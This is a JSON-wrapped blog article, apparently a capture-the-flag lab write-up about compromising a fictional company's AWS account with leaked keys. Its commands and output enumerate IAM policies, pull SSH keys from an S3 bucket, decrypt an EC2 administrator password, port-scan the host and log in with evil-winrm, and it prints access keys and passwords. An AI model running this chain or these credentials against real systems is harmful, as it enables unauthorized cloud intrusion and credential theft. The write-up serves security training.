{"schemaVersion":"1.0","type":"Article","types":["Article"],"slug":"aws-leveraging-insecure-storage-and-backups-for-profit-byxoo","url":"https://zyvop.com/aws-leveraging-insecure-storage-and-backups-for-profit-byxoo","title":"AWS: Leveraging Insecure Storage and Backups for Profit","subtitle":null,"tldr":"background: Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics' cloud...","keywords":[],"entities":["I0veD","cyber security researcher","ZyVOP"],"keyTakeaways":["background: Your team stumbled upon AWS credentials on a compromised IT workstation.","Your mission now is to use these credentials to probe Huge Logistics' cloud infrastructure.","Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure."],"headings":[],"outboundLinks":[],"contentText":"background: Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics' cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure. Your team stumbles upon AWS credentials on a compromised IT workstation. You are now tasked with using these credentials to probe Huge Logistics' cloud infrastructure. Dive in, find sensitive data, and identify key accessible resources to determine potential exposure. hint: Access key ID AKIAWHEOTHRFRH64EQRI Secret access key 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 Check the current account identity after aws config → Query the attch policy of the current identity through the identity  aws configure AWS Access Key ID [****************THOR]: AKIAWHEOTHRFRH64EQRI AWS Secret Access Key [****************nVf+]: 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 Default region name [eu-north-1]: Default output format [None]:  aws sts get-caller-identity { \"UserId\": \"AIDAWHEOTHRFTEMEHGPPY\", \"Account\": \"427648302155\", \"Arn\": \"arn:aws:iam::427648302155:user/contractor\" }  aws iam list-attached-user-policies --user-name contractor { \"AttachedPolicies\": [ { \"PolicyName\": \"Policy\", \"PolicyArn\": \"arn:aws:iam::427648302155:policy/Policy\" } ] } View the policy to obtain its version information → Query its version to obtain its document  aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy { \"Policy\": { \"PolicyName\": \"Policy\", \"PolicyId\": \"ANPAWHEOTHRFXRFIVBEXM\", \"Arn\": \"arn:aws:iam::427648302155:policy/Policy\", \"Path\": \"/\", \"DefaultVersionId\": \"v4\", \"AttachmentCount\": 1, \"PermissionsBoundaryUsageCount\": 0, \"IsAttachable\": true, \"CreateDate\": \"2023-07-27T17:39:55+00:00\", \"UpdateDate\": \"2023-07-28T14:24:22+00:00\", \"Tags\": [] } }  aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4 { \"PolicyVersion\": { \"Document\": { \"Version\": \"2012-10-17\", \"Statement\": [ { \"Sid\": \"VisualEditor0\", \"Effect\": \"Allow\", \"Action\": \"ec2:DescribeInstances\", \"Resource\": \"\" }, { \"Sid\": \"VisualEditor1\", \"Effect\": \"Allow\", \"Action\": \"ec2:GetPasswordData\", \"Resource\": \"arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5\" }, { \"Sid\": \"VisualEditor2\", \"Effect\": \"Allow\", \"Action\": [ \"iam:GetPolicyVersion\", \"iam:GetPolicy\", \"iam:GetUserPolicy\", \"iam:ListAttachedUserPolicies\", \"s3:GetBucketPolicy\" ], \"Resource\": [ \"arn:aws:iam::427648302155:user/contractor\", \"arn:aws:iam::427648302155:policy/Policy\", \"arn:aws:s3:::hl-it-admin\" ] } ] }, \"VersionId\": \"v4\", \"IsDefaultVersion\": true, \"CreateDate\": \"2023-07-28T14:24:22+00:00\" } } Through this information we can obtain these resources: Get password data from EC2 instancei-04cc1c2c7ec1af1b5 List and get information about all EC2 instances in an account Get information about the IAM policy attached to the current IAM user Gethl-it-adminS3 bucket policy for Take a look at the s3 strategy here { \"Policy\": \"{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::427648302155:user/contractor"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip"}]}\" }Download the ssh_keys_backup.zip file inside aws s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip . There are some private keys Next let’s look at EC2 instances! Remember here to set the region of aws config to us-east-1 based on the information obtained previously. aws ec2 describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[Tags[?Key==Name].Value | [0],InstanceId,Platform,State.Name,PrivateIpAddress,PublicIpAddress,InstanceType,PublicDnsName,KeyName]' [ [ \"Backup\", \"i-04cc1c2c7ec1af1b5\", \"windows\", \"running\", \"172.31.93.149\", \"44.204.191.38\", \"t2.micro\", \"ec2-44-204-191-38.compute-1.amazonaws.com\", \"it-admin\" ], [ \"External\", \"i-04a13bebeb74c8ac9\", null, \"running\", \"172.31.84.235\", \"52.0.51.234\", \"t2.micro\", \"ec2-52-0-51-234.compute-1.amazonaws.com\", \"ian-content-static-5\" ] ]This will display a Windows EC2 named Backup that is created usingit-adminThe SSH key pair is started, and the zip we got before already contains this key! use masscanRun a port scan and find that the default Windows EC2 management port 3389 (Remote Desktop Protocol) and port 22 (SSH) are not available. Instead, port 5985 is associated with unencrypted WinRM (Windows Remote Management) connections. root@None:~# masscan -p- 44.204.191.38 --rate=10000 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-10-10 04:05:21 GMT Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 5985/tcp on 44.204.191.38 rate: 0.00-kpps, 100.00% done, waiting -33-secs, found=1We run the following command, specifying pem, to get the password of the local administrator of the EC2 instance. aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem { \"InstanceId\": \"i-04cc1c2c7ec1af1b5\", \"PasswordData\": \"UZ$abRnO!bPj@KQk%BSEaBIO%reJIX!\", \"Timestamp\": \"2023-07-27T22:39:26+00:00\" }Connect using evil-winrm evil-winrm -i 44.204.191.38 -u Administrator -p 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!' Then install powershell on ubuntu ## Instructions for Ubuntu Update the list of packages sudo apt-get update Install pre-requisite packages. sudo apt-get install -y wget apt-transport-https software-properties-common Download the Microsoft repository GPG keys wget -q \"https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb\" Register the Microsoft repository GPG keys sudo dpkg -i packages-microsoft-prod.deb Delete the the Microsoft repository GPG keys file rm packages-microsoft-prod.deb Update the list of packages after we added packages.microsoft.com sudo apt-get update Install PowerShell sudo apt-get install -y powershell Install PSWSMan module pwsh -Command 'Install-Module -Name PSWSMan' Install NTLMSSP authentication mechanism apt install gss-ntlmssp dir C:\\Users\\adminaksk exists in the .aws directory. dir C:\\Users\\admin HTTP 44.204.191.38 5985 44.204.191.38 [] http://44.204.191.38:5985/wsman WINRM 44.204.191.38 5985 44.204.191.38 [+] .\\administrator:UZ$abRnO!bPj@KQk%BSEaBIO%reJIX! (Pwn3d!) WINRM 44.204.191.38 5985 44.204.191.38 [+] Executed command WINRM 44.204.191.38 5985 44.204.191.38 Volume in drive C has no label. Volume Serial Number is 3C76-3B3A Directory of C:\\Users\\admin.aws 07/28/2023 11:38 AM <DIR> . 07/28/2023 11:38 AM <DIR> .. 07/28/2023 11:38 AM 31 config 07/28/2023 11:38 AM 119 credentials 2 File(s) 150 bytes 2 Dir(s) 16,436,056,064 bytes free type C:\\Users\\admin\\.aws\\credentials aws_access_key_id = AKIAWHEOTHRFT5Q4524N aws_secret_access_key = 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 Return to the bucket to get the flag","contentHash":"sha256:5548862d8b8d1d69338fdad03c735a0402a52fab22e6039a6c157e3b71e92be4","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":[],"audience":"Software engineers and developers building applications with software development","tone":"Professional, cyber security researcher perspective","readingTimeMinutes":4,"wordCount":961,"faqs":null,"primaryTopic":null,"publishedAt":"2026-08-12T05:11:47.374Z","updatedAt":"2026-09-02T01:45:00.242Z","canonicalUrl":"https://www.cdxiaodong.life/article/aws_security_insecure-storage-backups"}